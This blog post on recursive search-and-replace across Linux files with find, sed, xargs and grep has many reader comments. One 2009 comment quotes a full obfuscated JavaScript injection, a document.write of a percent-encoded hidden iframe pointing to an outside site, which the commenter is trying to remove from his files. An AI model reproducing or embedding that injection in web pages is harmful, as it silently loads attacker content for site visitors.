Search and Replace in all files within a directory recursively on Linux

Man…this was difficult.

I have a directory on my computer (I run linux for my desktop) that has a bunch of directories in it. I needed to change one string in each of the files to be something else.

I did this like 2 months ago but this time I had a really hard time finding the solution. I also remember that last time I tried like 6 different commands and none of them worked.

So, to search recursively through directories, looking in all the files for a particular string, and to replace that string with something else (on linux), this command should work:

find ./ -type f -exec sed -i ’s/string1/string2/’ {} \;

Where string1 is the search string and string2 is the replace string.

Just for future reference

(also, it looks like my wordpress theme is stylizing those single quotes to look like something else. When I copied and pasted that onto the command line I got this error: sed: -e expression #1, char 1: unknown command: `
I fixed it by replacing those ` (backtick) characters with single quotes)

Note: Be sure to replace the ` (backtick) characters in all these commands with single quotes.

[tags]search and replace, linux search and replace, recursive search and replace, sed, xargs[/tags]

Filed under Reference by

Comment

This website uses IntenseDebate comments, but they are not currently loaded because either your browser doesn't support JavaScript, or they didn't load fast enough.

Comments on Search and Replace in all files within a directory recursively on Linux »

5/4/2006

Richard K Miller @ 1:59 pm

Thanks for posting this. I’ve always wanted to learn sed better so I’m glad to have this for reference.

Stuart Jansen @ 3:03 pm

It would have been better to use xargs instead of -exec. Using xargs, you will fork fewer times. For large numbers of files, that means you will be done faster. In other words:

find ./ -type f | xargs sed -i ’s/string1/string2/’

Instead of editing all files in a directory, you can use the same concept with grep to edit only files containg a certain string. In other words:

grep -rl matchstring somedir/ | xargs sed -i ’s/string1/string2/’

Hmm, maybe I should post something on my own blog about the wonders of sed. More than once, sed has allowed me to do in minutes what would have literally taken days to do by hand.

7/28/2006

kosta @ 6:35 am

The trick works fine except for one thing: It only replaces the first instance of string1 it finds in each file. For example if you had 100 instances of string1 in some files, then you would have to run the command 100 times!

Also, if you don’t know how many times string1 can be found in the files, then you also don’t know how many times ou have to run the command before everything is replaced (unless you check by hand which I believe is not the point). It would be nice to have an output while the files are being treated…

Any ideas?

Kosta

8/10/2006

Scott @ 11:02 am

grep -rl matchstring somedir/ | xargs sed -i ’s/string1/string2/g’

the g on the edn will replace globally – all instances of string1

Scott

8/24/2006

Jonathan Lumb @ 3:31 pm

I have discovered another way of doing this that is documented on my Blog here:
http://www.sprayfly.com/2006/08/unixlinux_multiple_file_find_a.php
It was actually quite hard to find documentation for such a useful feature on Google!
Jono

9/27/2006

Marc A. Brown @ 6:02 am

It’s much more simpler to use the ‘rpl’ command, as shown below:

rpl -x’.cpp’ -x’.h’ -pR “old-string” “new-string” *

Here, all files with a .cpp or .h suffix wil be searched for
an “old-string”. If found the “old-string” is replaced by the
“new-string” in all directories recursively.
To install on Ubuntu or Debian just do ‘apt-get install rpl’.

KR

12/6/2007

PST @ 8:33 pm

Excellent help….

3/2/2009

JIA pei @ 3:42 pm

Always met the following problem, and the old strings are not changed to the new ones at all.

sed: -e expression #1, char 1: unknown command: `�’

3/12/2009

Sam @ 10:24 pm

Hrm… I’ve been trying to recursively traverse child directories of the CWD and replace a string of JavaScript with a piece of text in every file in which it appears.

The string of JavaScript is causing me problems though. “[OPENBRACKET]script type=”text/javascript”[CLOSEBRACKET]document.write(unescape(‘%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%72%65%79%63%72%6F%73%73%2E%63%6F%6D%2F%74%6F%6D%69%2F%3F%74%3D%32%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%20%73%74%79%6C%65%3D%22%68%69%64%64%65%6E%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%20%6D%61%72%67%69%6E%68%65%69%67%68%74%3D%30%20%6D%61%72%67%69%6E%77%69%64%74%68%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%3E%3C%2F%69%66%72%61%6D%65%3E’));[OPENBRACKET]/script[CLOSEBRACKET]”

Of course, the [OPEN/CLOSEBRACKET]’s are replacing the actual straight brackets for the purpose of posting here.

I tried a few things, last of which was:

grep -rl “document.write(unescape(‘%3C%69%66%72″ ./ | xargs sed -i “s/document\.write\(unescape\(‘%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%72%65%79%63%72%6F%73%73%2E%63%6F%6D%2F%74%6F%6D%69%2F%3F%74%3D%32%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%20%73%74%79%6C%65%3D%22%68%69%64%64%65%6E%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%20%6D%61%72%67%69%6E%68%65%69%67%68%74%3D%30%20%6D%61%72%67%69%6E%77%69%64%74%68%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%3E%3C%2F%69%66%72%61%6D%65%3E’\)\);//g”

As you can probably see, I’m still kind of new to regular expressions. Any ideas?

Much thanks!

4/20/2009

gad @ 3:08 am

Replace backslash / by pipe | in the sed command, e.g.:

grep -rl matchstring somedir/ | xargs sed -i ’s|string1|string2|g’

Working for strings containing backslash, for example: html, javascript, url etc.

5/1/2009

Vishwa @ 7:28 am

Thanks!
This is the command i was looking for.

6/5/2009

Andrew P. @ 12:59 pm

Nice post, many good comments. Aside from the mechanics of finding and replacing strings in multiple text files, I wonder where this fashion of using grave accents and acute accents in place of apostrophes and quotation marks started. Even worse, rather than using Microsoft Word-style “smart quotes”, they fake it by using two grave accents, acute accents or apostrophes together. I see it mostly in British news sites, and now increasingly in American news sites. Now it’s creeping into other places as well. I spend (too much) time editing on Wikipedia, where I frequently copy entire articles into an external editor and use a global search-and-replace to blow away this nuttiness. It would appear that in recent decades the quality of education in the entire English-speaking world has declined.

9/5/2009

Afiyf @ 6:05 pm

I used grep to search through multiple files

grep -r “search string1″
This gives me a very long list of files in multiple directories the need to be changed.

I tried using
grep -rl matchstring somedir/ | xargs sed -i ’s/search string1/search string2/’

somedir = my directory, however No such file or directory was found also no input files are found.

I have 600 occurances of “search string 1″ that need to be replaced with “search string 2″.

Do the Double quotes vary beween Linux and Unix?

[...] tip to the author and commenters here and here.  Now both options are in one convenient location.  ;) Possibly related posts: [...]

4/28/2010

Jabba @ 6:41 pm

Thanks dude. This was a big help.

8/6/2010

puzo @ 9:01 am

Thanks all the people who posted here previously. I have had find <dir> -type f -exec sed -i 's/<str1>/<str2>/' {} ; working fine previously where regular string str1 was replaced with str2. My problem is having a backslash printed in the replaced string e.g. str1=Peclet, str2=P`{e}clet. The after P just doesn't get printed, even when i tried escaping it with . Can anyone please help?

puzo @ 9:03 am

str2=P*backslash*`{e}clet. Doesn't get printed…

8/14/2010

pi4a @ 9:21 am

Sed works only on one line and is good only for simple operations. If you need to replace complex code check this:
http://website-security.info/tools/find-and-repla...

Leave a Comment

Disclaimer: According to the new FTC guidelines, I have to tell you that sometimes I get paid for recommending certain products on my blog. Not all the time, but often. Sometimes I get products for free (ok...fine...most of the time I get stuff for free).

Register Login